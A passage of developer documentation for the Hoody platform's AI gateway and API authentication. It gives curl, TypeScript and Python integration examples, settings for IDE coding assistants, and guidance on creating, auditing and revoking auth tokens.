  -H "Authorization: Bearer $HOODY_TOKEN"

# Ensure ai: true
# Check exact container name
# Confirm using correct authentication: "Bearer container-{exact-name}"
```

### Container Identity Works Locally But Not in Production

**Cause:** Production container on different server

**Solution:** Each server runs its own Hoody AI instance. Container authentication only works on the server where the container exists.

### Suspicious AI Usage Detected

**Actions:**
1. Disable AI for that container immediately
2. Review container activity
3. Consider deleting and recreating if compromised

```bash
# Immediate revocation
curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'
```

---

## What's Next

- [Usage Guide →](/foundation/hoody-ai/usage/) - Integration examples
- [Models →](/foundation/hoody-ai/models/) - Available AI models
- [Security Principles →](/vision/security/) - Overall Hoody security model

---

# Hoody AI Usage

**Page:** foundation/hoody-ai/usage

[Download Raw Markdown](./foundation/hoody-ai/usage.md)

---

# Hoody AI Usage

**Complete integration examples for accessing Hoody AI from containers, AI clients, and custom applications.**

This guide shows you exactly how to configure and use Hoody AI across different tools and scenarios.

---

## Quick Reference

**Hoody AI Endpoint:**
```
https://ai.hoody.icu/api/v1
```

**API Key Format:**
```
container-{containerName}
```

**Compatibility:** OpenAI-compatible API

---

## From Containers

### Quick Start: Chat Completion


  
    ```bash
    # Chat completion from your container
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [
          {"role": "system", "content": "You are a helpful coding assistant."},
          {"role": "user", "content": "Write a Python function to calculate fibonacci numbers"}
        ],
        "max_tokens": 1024,
        "temperature": 0.7
      }'

    # Streaming response
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "openai/gpt-4o",
        "messages": [{"role": "user", "content": "Explain quantum computing"}],
        "stream": true
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // List available AI models via SDK
    const models = await client.api.ai.listModels();
    console.log(models.data);

    // Chat completion — call the AI gateway directly from your container
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-dev-env',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-sonnet-4.5',
        messages: [
          { role: 'system', content: 'You are a helpful coding assistant.' },
          { role: 'user', content: 'Write a Python function to calculate fibonacci numbers' }
        ],
        max_tokens: 1024,
        temperature: 0.7
      })
    });

    const data = await response.json();
    console.log(data.choices[0].message.content);
    ```
  
  
    ```bash
    # Chat completion with system prompt
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [
          {"role": "system", "content": "You are a helpful coding assistant."},
          {"role": "user", "content": "Write a Python function to calculate fibonacci numbers"}
        ],
        "max_tokens": 1024,
        "temperature": 0.7
      }'

    # Streaming response (Server-Sent Events)
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "openai/gpt-4o",
        "messages": [{"role": "user", "content": "Explain quantum computing"}],
        "stream": true
      }'

    # Image generation (image-capable models return images via chat/completions —
    # pick a model whose output_modalities include "image"; see /models)
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "<image-capable-model-id>",
        "messages": [{"role": "user", "content": "A futuristic city with flying cars at sunset"}]
      }'

    # Text embeddings
    curl -X POST "https://ai.hoody.icu/api/v1/embeddings" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "openai/text-embedding-3-large",
        "input": "The quick brown fox jumps over the lazy dog"
      }'
    ```
  


### Interactive Playground


  
    
  
  
    

    Receives Server-Sent Events (SSE) for real-time streaming.
  
  
    ", "messages": [{"role": "user", "content": "A futuristic city with flying cars at sunset"}]}'
    />
  
  
    
  


### Node.js / TypeScript

```typescript
// Using native fetch (Node 18+)
async function askAI(prompt: string) {
  const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer container-dev-env',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: 'anthropic/claude-sonnet-4.5',
      messages: [
        { role: 'user', content: prompt }
      ],
      max_tokens: 2048
    })
  });
  
  const data = await response.json();
  return data.choices[0].message.content;
}

// Example usage
const answer = await askAI('How do I deploy a Next.js app?');
console.log(answer);
```

### Python

```python
import requests
import json

def ask_ai(prompt: str) -> str:
    """Query Hoody AI with a prompt"""
    response = requests.post(
        'https://ai.hoody.icu/api/v1/chat/completions',
        headers={
            'Authorization': 'Bearer container-python-app',
            'Content-Type': 'application/json'
        },
        json={
            'model': 'anthropic/claude-sonnet-4.5',
            'messages': [
                {'role': 'user', 'content': prompt}
            ],
            'max_tokens': 2048
        }
    )
    
    data = response.json()
    return data['choices'][0]['message']['content']

# Example usage
answer = ask_ai('Explain Docker containers in simple terms')
print(answer)
```

---

## AI Coding Assistants

### hoody-agent (Native Integration)

hoody-agent has built-in Hoody AI support:

```bash
# Create agent task with Hoody AI
curl -X POST "https://{project}-{container}-workspaces-1.node-us.containers.hoody.icu/api/tasks" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Build a REST API for a todo app with SQLite",
    "auto_execute": true,
    "mode": "code",
    "ai_config": {
      "provider": "hoody",
      "model": "anthropic/claude-sonnet-4.5"
    }
  }'
```

**No API key needed** - hoody-agent automatically uses `container-{name}` when configured for Hoody AI.


### Cursor IDE

**Settings → Models → Add Custom Provider:**

1. **Base URL:** `https://ai.hoody.icu/api/v1`
2. **API Key:** `container-{yourContainerName}`
3. **Provider:** Custom (OpenAI-compatible)
4. **Models:** Select from dropdown (Claude Opus 4.1, GPT-4o, etc.)

**Example `.cursor/config.json`:**
```json
{
  "openai": {
    "baseURL": "https://ai.hoody.icu/api/v1",
    "apiKey": "container-cursor-dev"
  },
  "defaultModel": "anthropic/claude-sonnet-4.5"
}
```

### Cline (VS Code Extension)

**Extension Settings:**

1. Open Cline settings in VS Code
2. **API Provider:** Custom (OpenAI-compatible)
3. **Base URL:** `https://ai.hoody.icu/api/v1`
4. **API Key:** `container-{containerName}`
5. **Model:** `anthropic/claude-sonnet-4.5`

Cline will now route all AI requests through Hoody AI without exposing real keys.

### Continue.dev

**config.json:**
```json
{
  "models": [
    {
      "title": "Hoody AI - Claude Sonnet 4.5",
      "provider": "openai",
      "model": "anthropic/claude-sonnet-4.5",
      "apiKey": "container-continue-dev",
      "apiBase": "https://ai.hoody.icu/api/v1"
    }
  ]
}
```

### Windsurf

**AI Settings:**

1. **Provider:** Custom OpenAI-compatible
2. **Endpoint:** `https://ai.hoody.icu/api/v1`
3. **API Key:** `container-windsurf-env`
4. **Model:** `anthropic/claude-sonnet-4.5` or `openai/gpt-4o`

---

## Application Integration Examples

### Next.js API Route

```typescript
// app/api/chat/route.ts


export async function POST(req: NextRequest) {
  const { message } = await req.json();
  
  const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer container-nextjs-app',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: 'anthropic/claude-sonnet-4.5',
      messages: [
        { role: 'user', content: message }
      ],
      stream: true // Enable streaming
    })
  });
  
  // Stream response back to client
  return new NextResponse(response.body, {
    headers: { 'Content-Type': 'text/event-stream' }
  });
}
```

### Express.js Server

```javascript
const express = require('express');
const app = express();

app.use(express.json());

app.post('/api/ask', async (req, res) => {
  const { prompt } = req.body;
  
  try {
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-express-api',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-haiku-4.0', // Faster, cheaper model
        messages: [
          { role: 'user', content: prompt }
        ],
        max_tokens: 1024
      })
    });
    
    const data = await response.json();
    res.json({ answer: data.choices[0].message.content });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

app.listen(3000);
```

### React Component with Streaming

```tsx
'use client';



export default function AIChat() {
  const [prompt, setPrompt] = useState('');
  const [response, setResponse] = useState('');
  const [loading, setLoading] = useState(false);

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();
    setLoading(true);
    setResponse('');

    const res = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-react-app',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-sonnet-4.5',
        messages: [{ role: 'user', content: prompt }],
        stream: true
      })
    });

    const reader = res.body?.getReader();
    const decoder = new TextDecoder();

    while (true) {
      const { done, value } = await reader!.read();
      if (done) break;

      const chunk = decoder.decode(value);
      const lines = chunk.split('\n').filter(line => line.trim());

      for (const line of lines) {
        if (line.startsWith('data: ')) {
          const data = line.slice(6);
          if (data === '[DONE]') continue;
          
          const parsed = JSON.parse(data);
          const content = parsed.choices[0]?.delta?.content || '';
          setResponse(prev => prev + content);
        }
      }
    }

    setLoading(false);
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        value={prompt}
        onChange={e => setPrompt(e.target.value)}
        placeholder="Ask me anything..."
      />
      <button type="submit" disabled={loading}>
        {loading ? 'Thinking...' : 'Send'}
      </button>
      {response && <div>{response}</div>}
    </form>
  );
}
```

---

## Advanced Patterns

### Multi-Model Orchestration

Use different models for different tasks:

```typescript
async function orchestrateTask(userRequest: string) {
  // Fast model for classification
  const classification = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer container-orchestrator',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: 'anthropic/claude-haiku-4.0', // Fast & cheap
      messages: [
        { role: 'user', content: `Classify this request: "${userRequest}". 
          Categories: code, creative, data, general. Reply with one word.` }
      ]
    })
  });

  const category = await classification.json();
  
  // Choose model based on category
  const modelMap = {
    'code': 'anthropic/claude-sonnet-4.5',
    'creative': 'openai/gpt-4o',
    'data': 'google/gemini-2.5-pro-exp',
    'general': 'anthropic/claude-haiku-4.0'
  };
  
  const selectedModel = modelMap[category.choices[0].message.content.trim()];
  
  // Execute with optimal model
  const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer container-orchestrator',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: selectedModel,
      messages: [{ role: 'user', content: userRequest }]
    })
  });
  
  return response.json();
}
```

### Parallel AI Calls

Execute multiple AI requests simultaneously:

```typescript
async function parallelAnalysis(text: string) {
  const [summary, sentiment, keywords] = await Promise.all([
    // Summarization
    fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-analyzer',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-haiku-4.0',
        messages: [
          { role: 'user', content: `Summarize in one sentence: ${text}` }
        ]
      })
    }).then(r => r.json()),
    
    // Sentiment analysis
    fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-analyzer',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-haiku-4.0',
        messages: [
          { role: 'user', content: `Sentiment (positive/negative/neutral): ${text}` }
        ]
      })
    }).then(r => r.json()),
    
    // Keyword extraction
    fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-analyzer',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-haiku-4.0',
        messages: [
          { role: 'user', content: `Extract 5 keywords: ${text}` }
        ]
      })
    }).then(r => r.json())
  ]);
  
  return { summary, sentiment, keywords };
}
```

### Rate Limiting & Retry Logic

```typescript
class HoodyAI {
  private apiKey: string;
  private baseURL = 'https://ai.hoody.icu/api/v1';
  private maxRetries = 3;
  
  constructor(containerName: string) {
    this.apiKey = `container-${containerName}`;
  }
  
  async chat(messages: any[], model: string = 'anthropic/claude-sonnet-4.5') {
    let lastError;
    
    for (let attempt = 0; attempt < this.maxRetries; attempt++) {
      try {
        const response = await fetch(`${this.baseURL}/chat/completions`, {
          method: 'POST',
          headers: {
            'Authorization': `Bearer ${this.apiKey}`,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ model, messages })
        });
        
        if (response.status === 429) {
          // Rate limited - exponential backoff
          const waitTime = Math.pow(2, attempt) * 1000;
          await new Promise(resolve => setTimeout(resolve, waitTime));
          continue;
        }
        
        if (!response.ok) {
          throw new Error(`HTTP ${response.status}: ${await response.text()}`);
        }
        
        return await response.json();
        
      } catch (error) {
        lastError = error;
        if (attempt < this.maxRetries - 1) {
          await new Promise(resolve => setTimeout(resolve, 1000 * (attempt + 1)));
        }
      }
    }
    
    throw lastError;
  }
}

// Usage
const ai = new HoodyAI('production-api');
const result = await ai.chat([
  { role: 'user', content: 'Hello!' }
]);
```

---

## Use Cases

### AI-Powered API Endpoint

Build a production API that uses AI without key exposure:

```typescript
// hoody-exec script: api/analyze-code.ts (deploy via scripts/write)
// @mode serverless
// @cors reflective

const { code, language } = req.body;

const aiResponse = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-code-analyzer',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    model: 'anthropic/claude-sonnet-4.5',
    messages: [
      {
        role: 'system',
        content: 'You are a code review expert. Analyze code and provide constructive feedback.'
      },
      {
        role: 'user',
        content: `Review this ${language} code:\n\n${code}`
      }
    ]
  })
});

const analysis = await aiResponse.json();
return {
  feedback: analysis.choices[0].message.content,
  language,
  timestamp: new Date().toISOString()
};
```

**Accessible at:**
```
https://{project}-{container}-exec-1.node-us.containers.hoody.icu/api/analyze-code
```

### Chatbot with Context

```typescript
// Maintain conversation history
class AIChatSession {
  private messages: any[] = [];
  private containerKey: string;
  
  constructor(containerName: string) {
    this.containerKey = `container-${containerName}`;
  }
  
  async send(userMessage: string) {
    // Add user message to history
    this.messages.push({
      role: 'user',
      content: userMessage
    });
    
    // Get AI response
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': `Bearer ${this.containerKey}`,
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-sonnet-4.5',
        messages: this.messages
      })
    });
    
    const data = await response.json();
    const assistantMessage = data.choices[0].message;
    
    // Add to history
    this.messages.push(assistantMessage);
    
    return assistantMessage.content;
  }
  
  reset() {
    this.messages = [];
  }
}

// Usage
const chat = new AIChatSession('chatbot-prod');
await chat.send('What is Hoody?');
await chat.send('How does it work?'); // Has context from previous message
```

---

## Best Practices

### Model Selection Strategy

**Use cheaper models for:**
- Classification tasks
- Simple Q&A
- Keyword extraction
- Quick validations

```typescript
const cheapModel = 'anthropic/claude-haiku-4.0'; // Fast & economical
```

**Use expensive models for:**
- Complex reasoning
- Code generation
- Creative writing
- Multi-step analysis

```typescript
const powerModel = 'anthropic/claude-opus-4.1'; // Most capable
```

### Error Handling

Always handle AI errors gracefully:

```typescript
async function safeAICall(prompt: string) {
  try {
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-app',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-sonnet-4.5',
        messages: [{ role: 'user', content: prompt }]
      })
    });
    
    if (!response.ok) {
      // Log error for monitoring
      console.error('AI Error:', response.status, await response.text());
      return { error: 'AI service unavailable' };
    }
    
    return await response.json();
    
  } catch (error) {
    console.error('Network error:', error);
    return { error: 'Network error' };
  }
}
```

### Streaming for Better UX

Always use streaming for user-facing applications:

```typescript
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-frontend',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    model: 'anthropic/claude-sonnet-4.5',
    messages: [{ role: 'user', content: prompt }],
    stream: true // Enable streaming
  })
});
```

Users see results as they're generated instead of waiting for complete response.

---

## What's Next

- [Security Model →](/foundation/hoody-ai/security/) - Understand key-less security
- [Models →](/foundation/hoody-ai/models/) - Browse all available models

---

# Hoody AI

**Page:** foundation/hoody-ai

[Download Raw Markdown](./foundation/hoody-ai.md)

---

# Hoody AI

A self-hosted AI gateway with 300+ models — any provider, your choice, always.

Connect Anthropic, OpenAI, Google, Mistral, Groq, local models, or any OpenAI-compatible endpoint. Switch models mid-conversation. Pay with Hoody AI credits. No vendor lock-in — it's a config change, not a migration.

---

# Authentication

**Page:** foundation/hoody-api/authentication

[Download Raw Markdown](./foundation/hoody-api/authentication.md)

---

# Authentication

**The Hoody API requires authentication for all operations.** There are two authentication systems, each designed for different use cases.

After understanding [what the Hoody API does](./) (platform management), you need to understand **how to authenticate** to actually use it.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains authentication concepts and best practices. For complete endpoint documentation:

**User Authentication (JWT Tokens):**
- **[POST /api/v1/users/auth/login](/api/authentication/)** - Login with username/password
- **[POST /api/v1/users/auth/refresh](/api/authentication/)** - Refresh access token
- **[GET /api/v1/users/auth/me](/api/authentication/)** - Get current user profile
- **[POST /api/v1/users/auth/logout](/api/authentication/)** - Invalidate session

**Automation (Auth Tokens):**
- **[POST /api/v1/auth/tokens](/api/auth-tokens/)** - Create long-lived token
- **[GET /api/v1/auth/tokens](/api/auth-tokens/)** - List all tokens
- **[GET /api/v1/auth/tokens/\{id\}](/api/auth-tokens/)** - Get token details
- **[PUT /api/v1/auth/tokens/\{id\}](/api/auth-tokens/)** - Update token configuration
- **[DELETE /api/v1/auth/tokens/\{id\}](/api/auth-tokens/)** - Revoke token

---

## Two Authentication Systems

Hoody provides two distinct authentication methods:

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**JWT Tokens** (User Sessions)

**Use for:** Browser sessions, interactive work

```bash
POST /api/v1/users/auth/login
```

**Returns:**
- `token` (access, 1 day)
- `refreshToken` (7 days)

**Characteristics:**
- ✅ Short-lived (secure)
- ✅ Refresh-able (no re-login)
- ✅ User-specific
- ❌ Not ideal for automation

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Auth Tokens** (Automation)

**Use for:** Scripts, AI agents, CI/CD, integrations

```bash
POST /api/v1/auth/tokens
```

**Returns:**
- `hdy_...` token (long-lived)

**Characteristics:**
- ✅ Long-lived (configurable)
- ✅ IP whitelist support
- ✅ Revocable anytime
- ✅ Per-token permissions
- ✅ Ideal for automation

</div>

</div>


**Best Practice:** Use Auth Tokens for any automation, AI agents, or scripts. Never put user credentials in code. Create a dedicated token with appropriate expiration and IP restrictions.


---

## Authentication Workflow

### For Interactive Use (Browser/CLI)

**Step 1: Login**


The login endpoint accepts **either** an `email` or a `username` — only `password` is required. Use whichever identifier you have. The CLI exposes both as separate flags (`--email` and `--username`).



  
    ```bash
    # Login with email and password (or use --username instead of --email)
    hoody auth login --email you@example.com --password your_password
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu' });

    // Login with credentials — pass `email` OR `username` (not both required)
    const auth = await client.api.authentication.login({
      email: 'you@example.com',
      password: 'your_password'
    });
    console.log(auth.data.token);       // JWT access token
    console.log(auth.data.refreshToken); // Refresh token
    ```
  
  
    ```bash
    # Provide EITHER email OR username (only password is required)
    curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
      -H "Content-Type: application/json" \
      -d '{"email": "you@example.com", "password": "your_password"}'
    # Alternative: -d '{"username": "your_username", "password": "your_password"}'
    ```
  




**Response:**
```json
{
  "statusCode": 200,
  "message": "Login successful",
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "user": {
      "id": "63f8b0e5c9a1b2d3e4f5a6b7",
      "username": "your_username",
      "alias": "Your Display Name",
      "is_banned": false,
      "created_at": "2025-10-21T10:00:00.000Z",
      "updated_at": "2025-10-21T10:00:00.000Z"
    }
  }
}
```

**Step 2: Use Access Token**


  
    ```bash
    # CLI stores the token automatically after login
    hoody projects list
    ```
  
  
    ```typescript
    // Pass token to client constructor
    const client = new HoodyClient({
      baseURL: 'https://api.hoody.icu',
      token: auth.data.token
    });
    const projects = await client.api.projects.list();
    ```
  
  
    ```bash
    # Include token in Authorization header
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    ```
  


**Step 3: Refresh When Expired**


  
    ```bash
    # CLI handles token refresh automatically
    # If your session expired, simply re-login
    hoody auth login --username your_username --password your_password
    ```
  
  
    ```typescript
    // Refresh the access token
    const refreshed = await client.api.authentication.refreshToken({
      refreshToken: auth.data.refreshToken
    });
    console.log(refreshed.data.token); // New access token
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/users/auth/refresh" \
      -H "Content-Type: application/json" \
      -d '{"refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}'
    ```
  




**Returns:** New access token + new refresh token (both rotated for security)

---

### For Automation & AI (Recommended)

**Step 1: Create Auth Token** (one-time setup)


  
    ```bash
    # Login first
    hoody auth login --username your_username --password your_password

    # Create a long-lived automation token with IP whitelist
    hoody auth create \
      --alias "Production Automation Token" \
      --ip-whitelist "203.0.113.10,203.0.113.20" \
      --expires-at "2027-04-12T00:00:00Z"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    // Login first to get JWT
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu' });
    const auth = await client.api.authentication.login({
      username: 'your_username',
      password: 'your_password'
    });

    // Create auth token using JWT
    const jwtClient = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: auth.data.token });
    const token = await jwtClient.api.authTokens.create({
      alias: 'Production Automation Token',
      ip_whitelist: ['203.0.113.10', '203.0.113.20'],
      expires_at: '2027-04-12T00:00:00Z'
    });
    console.log(token.data.token); // hdy_... — save this immediately!
    ```
  
  
    ```bash
    # Login to get JWT
    curl -X POST "https://api.hoody.icu/api/v1/users/auth/login" \
      -H "Content-Type: application/json" \
      -d '{"username": "your_username", "password": "your_password"}'

    # Create a long-lived automation token
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $JWT" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "Production Automation Token",
        "ip_whitelist": ["203.0.113.10", "203.0.113.20"],
        "expires_at": "2027-04-12T00:00:00Z"
      }'
    ```
  




**Response:**
```json
{
  "statusCode": 201,
  "message": "Auth token created successfully",
  "data": {
    "token": "hdy_abc123XyZ456...",
    "id": "63f8b0e5c9a1b2d3e4f5a6b7",
    "alias": "Production Automation Token",
    "prefix": "hdy_",
    "ip_whitelist": ["203.0.113.10", "203.0.113.20"],
    "expires_at": "2027-04-12T00:00:00.000Z",
    "is_enabled": true,
    "last_used_at": null,
    "last_used_ip": null,
    "created_at": "2025-11-09T15:00:00.000Z",
    "updated_at": "2025-11-09T15:00:00.000Z"
  }
}
```


**Save this token immediately!** The full `token` value (`hdy_abc123...`) is **only shown once** during creation. You cannot retrieve it again.


**Step 2: Use Auth Token** (forever, until it expires or is revoked)


  
    ```bash
    # Store token and use with CLI
    export HOODY_TOKEN="hdy_abc123XyZ456..."

    # All subsequent commands use this token
    hoody projects list
    hoody containers list
    ```
  
  
    ```typescript
    // Use auth token in SDK client
    const client = new HoodyClient({
      baseURL: 'https://api.hoody.icu',
      token: process.env.HOODY_TOKEN  // hdy_abc123XyZ456...
    });

    // All API calls are authenticated
    const projects = await client.api.projects.list();
    ```
  
  
    ```bash
    # Store in environment variable (never hardcode)
    export HOODY_TOKEN="hdy_abc123XyZ456..."

    # Use in all API requests
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Benefits:**
- ✅ No credentials in code (secure)
- ✅ IP whitelist enforcement (restrict to specific IPs)
- ✅ Expiration control (ISO 8601 date, or never)
- ✅ Instant revocation (disable or delete token)
- ✅ Audit trail (last_used_at, last_used_ip)

---

## Auth Token Management

### Creating Tokens with Security Features

**IP Whitelisting:**



**Multiple formats for expiration:**


  
    ```json
    {
      "expires_at": "2026-12-31T23:59:59Z"
    }
    ```
  
  
    ```json
    {
      "expires_at": 1735689599
    }
    ```
  
  
    ```json
    {
      "expires_at": null
    }
    ```
  


### Listing and Auditing Tokens


  
    ```bash
    # List all your auth tokens
    hoody auth list
    ```
  
  
    ```typescript
    const tokens = await client.api.authTokens.list();
    tokens.data.forEach(t => {
      console.log(t.alias, t.is_enabled, t.last_used_at);
    });
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  




**Response shows usage tracking:**

```json
{
  "data": [
    {
      "id": "63f8b0e5c9a1b2d3e4f5a6b7",
      "alias": "CI/CD Pipeline",
      "prefix": "hdy_",
      "ip_whitelist": ["203.0.113.50"],
      "expires_at": "2026-02-07T15:00:00.000Z",
      "is_enabled": true,
      "last_used_at": "2025-11-09T14:30:00.000Z",
      "last_used_ip": "203.0.113.50",
      "created_at": "2025-11-09T10:00:00.000Z",
      "updated_at": "2025-11-09T14:30:00.000Z"
    }
  ]
}
```

**Audit your tokens:**
- Check `last_used_at` to identify unused tokens
- Verify `last_used_ip` matches expected sources
- Review `ip_whitelist` restrictions

### Revoking Tokens

**Disable without deleting:**


  
    ```bash
    # Disable a token without deleting it
    hoody auth update $TOKEN_ID --enabled false
    ```
  
  
    ```typescript
    await client.api.authTokens.update(tokenId, { is_enabled: false });
    ```
  
  
    ```bash
    curl -X PUT "https://api.hoody.icu/api/v1/auth/tokens/$TOKEN_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"is_enabled": false}'
    ```
  




**Permanently delete:**


  
    ```bash
    # Permanently delete a token
    hoody auth delete $TOKEN_ID
    ```
  
  
    ```typescript
    await client.api.authTokens.delete(tokenId);
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/auth/tokens/$TOKEN_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  




---

## Security Best Practices

### 1. Never Hardcode Credentials


  
    ```javascript
    // NEVER do this
    const response = await fetch('https://api.hoody.icu/api/v1/projects', {
      headers: {
        'Authorization': 'Bearer hdy_abc123hardcoded'
      }
    });
    ```
  
  
    ```javascript
    // Use environment variables
    const response = await fetch('https://api.hoody.icu/api/v1/projects', {
      headers: {
        'Authorization': `Bearer ${process.env.HOODY_TOKEN}`
      }
    });
    ```
  


### 2. Use IP Whitelisting

**Restrict tokens to specific sources:**



**If token is leaked:** It won't work from other IPs.

### 3. Set Expiration Appropriately

**Short-lived for temporary access:**

```json
{
  "alias": "Contractor Access",
  "expires_at": "2026-05-12T00:00:00Z"
}
```

**Long-lived for permanent infrastructure:**

```json
{
  "alias": "Production Services",
  "expires_at": "2027-04-12T00:00:00Z"
}
```

**Review and rotate regularly.**

### 4. Create Dedicated Tokens per Service

**Don't share one token across multiple systems:**

```bash
# Create separate tokens
POST /api/v1/auth/tokens { "alias": "GitHub Actions CI", ... }
POST /api/v1/auth/tokens { "alias": "Monitoring System", ... }
POST /api/v1/auth/tokens { "alias": "AI Agent Orchestrator", ... }
```

**If one service is compromised:** Revoke only that token, others continue working.

---

## For AI Agents

**The Auth Token system is designed for AI orchestration:**

```javascript
// AI agent configuration (environment variables)
const HOODY_TOKEN = process.env.HOODY_TOKEN;  // hdy_... token
const HOODY_API = 'https://api.hoody.icu';

// AI can now orchestrate infrastructure
async function aiAgentWorkflow(task) {
  const headers = {
    'Authorization': `Bearer ${HOODY_TOKEN}`,
    'Content-Type': 'application/json'
  };

  // AI decides: "Need a container to process this task"
  const container = await fetch(`${HOODY_API}/api/v1/projects/${projectId}/containers`, {
    method: 'POST',
    headers,
    body: JSON.stringify({
      name: `ai-task-${Date.now()}`,
      server_id: 'your-server-id',
      hoody_kit: true
    })
  }).then(r => r.json());

  // Wait for container to be running
  await waitForStatus(container.data.id, 'running');

  // Get container URLs and use them
  const terminalUrl = `https://${projectId}-${container.data.id}-terminal-1.${container.data.server_name}.containers.hoody.icu`;
  
  // AI executes commands in the new container
  await fetch(`${terminalUrl}/execute`, {
    method: 'POST',
    body: JSON.stringify({ command: task.command })
  });

  // AI snapshots when done
  await fetch(`${HOODY_API}/api/v1/containers/${container.data.id}/snapshots`, {
    method: 'POST',
    headers,
    body: JSON.stringify({ alias: `task-${task.id}` })
  });

  return container;
}
```

**The AI only needs:**
1. A Hoody Auth Token (environment variable)
2. Understanding of HTTP (it already has this)

No SDK. No training. Just HTTP.

---

